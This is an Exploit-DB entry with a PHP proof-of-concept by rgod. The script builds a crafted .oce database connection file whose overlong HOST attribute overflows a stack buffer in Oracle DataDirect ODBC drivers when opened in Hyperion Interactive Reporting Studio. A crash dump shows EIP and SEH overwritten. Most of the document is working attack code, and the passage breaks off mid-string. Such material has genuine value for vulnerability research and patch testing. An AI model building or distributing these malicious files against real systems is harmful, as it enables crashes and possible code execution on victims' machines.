Exploit-DB #18052
Description: Oracle DataDirect ODBC Drivers - HOST Attribute 'arsqls24.dll' Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2011-10-31
Author: rgod

Exploit:
<?php
/*
Oracle DataDirect ODBC Drivers HOST Attribute arsqls24.dll Stack Based Buffer 
Overflow PoC (*.oce)
by rgod

found a local vector for this:
http://retrogod.altervista.org/9sg_oracle_datadirect.htm
http://www.exploit-db.com/exploits/18007/

This poc will create a suntzu.oce file 
which should work against Hyperion Interactive Reporting Studio
which is delivered with Oracle Hyperion Suite.
When clicked a login box appears, on clicking OK an error message 
also appears then error then... boom!

description for .oce :
Interactive Reporting database connection file

file association:
"C:\Oracle\Middleware3\EPMSystem11R1\products\biplus\\bin\\brioqry.exe" "%1"

crash dump, eip and seh overwritten, unicode expanded, 
I suppose one should be able to deal with it :

(208.152c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008b ebx=00000000 ecx=0e752eb8 edx=0f490000 esi=0e6b3d60 edi=0012a338
eip=00410043 esp=0012a2d8 ebp=0012a2ec iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
brioqry+0x10043:
00[PII_REDACTED]ff          add     dword ptr [edx-1],edx ds:0023:0f48ffff=????????
0:000> g
(208.152c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008b ebx=00000000 ecx=00410041 edx=7c8285f6 esi=00000000 edi=00000000
eip=00410043 esp=00129f10 ebp=00129f30 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
brioqry+0x10043:
00[PII_REDACTED]ff          add     dword ptr [edx-1],edx ds:0023:7c8285f5=244c8b00
*/

function _x($x){
  global $buff;
  list($x) = array_values(unpack('V', $x));
  $x = $x + strlen($buff);
  $x = pack('V',$x);
  return $x;
}

$buff = "mydatabase.com".
        str_repeat("\x20",16).  //cosmetics, no AAAA... inside the login box
        str_repeat("\x41",4000);
//$dsn="DRIVER=DataDirect 6.0 Greenplum Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null;";      
//$dsn="DRIVER=DataDirect 6.0 MySQL Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DATA;UID=sa;PWD=null";
$dsn="DRIVER=DataDirect 6.0 PostgreSQL Wire Protocol;HOST=;UID=system;[CREDENTIAL_REDACTED];";
while (!(strlen($dsn)==166)){ //fill the gap
  $dsn.="\x20";
}
$dsn=str_replace("HOST=;","HOST=".$buff.";",$dsn);
$dump=
"#BRIF\x20BIN001".
"\x00\x00\x00\x00".
_x("\x7b\x07\x00\x00"). //header length, increase counter
"\x37\x00\x00\x00". //path length
"D:\\Documents\x20and\x20Settings\\Admin\\Desktop\\Predefinito.oce".
"\x01\x00\x01\x00".
"\x00\x00\x07\x00".
"\x00\x00\x0a\x00".
"\x00\x00".
_x("\xa6\x00\x00\x00"). //dsn length
$dsn.
"\x00\x00\x00\x00".
"\x00\x00\x00\x00".
"\x04\x00\x00\x00".
"True".
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x01\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x04\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\r\x00\x00\x00".
"ColItem.Table".
"\x01\x00".
"\x00\x00\x04\x00\x00\x00\x12\x00\x00\x00".
"ColItem.TableAlias".
"\x01\x00\x00\x00\x10\x00".
"\x00\x00\r\x00\x00\x00".
"ColItem.Owner".
"\x01\x00\x00\x00\x1c\x00\x00\x00\x0c\x00\x00".
"\x00".
"ColItem.Type".
"\x01\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x004\x00\x00\x00\x05\x00\x00\x00".
"Where".
"\x01".
"\x00\x00\x00\x05\x00\x00\x008\x00\x00\x00\x07\x00\x00\x00".
"OrderBy".
"\x01\x00".
"\x00\x00\x05\x00\x00\x00<\x00\x00\x00|\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x09\x00\x00\x00\x0c\x00\x00\x00ColItem.Name\x01\x00\x00\x00".
"\x04\x00\x00\x00\x10\x00\x00\x00".
"ColItem.ColAlias".
"\x01\x00\x00\x00\x10\x00\x00\x00".
"\x0e\x00\x00\x00".
"ColItem.ColNum".
"\x01\x00\x00\x00\x1c\x00\x00\x00\x0f\x00\x00\x00".
"ColItem.ColType".
"\x01\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00".
"ColItem.NumBytes".
"\x01\x00\x00\x004\x00".
"\x00\x00\x0e\x00\x00\x00".
"ColItem.Places".
"\x01\x00\x00\x00@\x00\x00\x00\x0e\x00\x00".
"\x00".
"ColItem.Digits".
"\x01\x00\x00\x00L\x00\x00\x00\r\x00\x00\x00".
"ColItem.Nulls".
"\x01\x00\x00\x00X\x00".
"\x00\x00\x12\x00\x00\x00".
"ColItem.NativeType".
"\x01\x00\x00\x00d\x00\x00\x00\x03\x00\x00".
"\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x00p\x00\x00\x00".
"\x05\x00\x00\x00".
"Where".
"\x01\x00\x00\x00\x05\x00\x00\x00t\x00\x00\x00\x07".
"\x00\x00\x00".
"OrderBy".
"\x01\x00\x00\x00\x05\x00\x00\x00x\x00\x00\x000\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x0b\x00\x00\x00\x06\x00\x00\x00".
"PTable".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x04\x00\x00\x00\x06\x00\x00\x00".
"POwner".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x08\x00\x00\x00\x07\x00\x00\x00".
"PD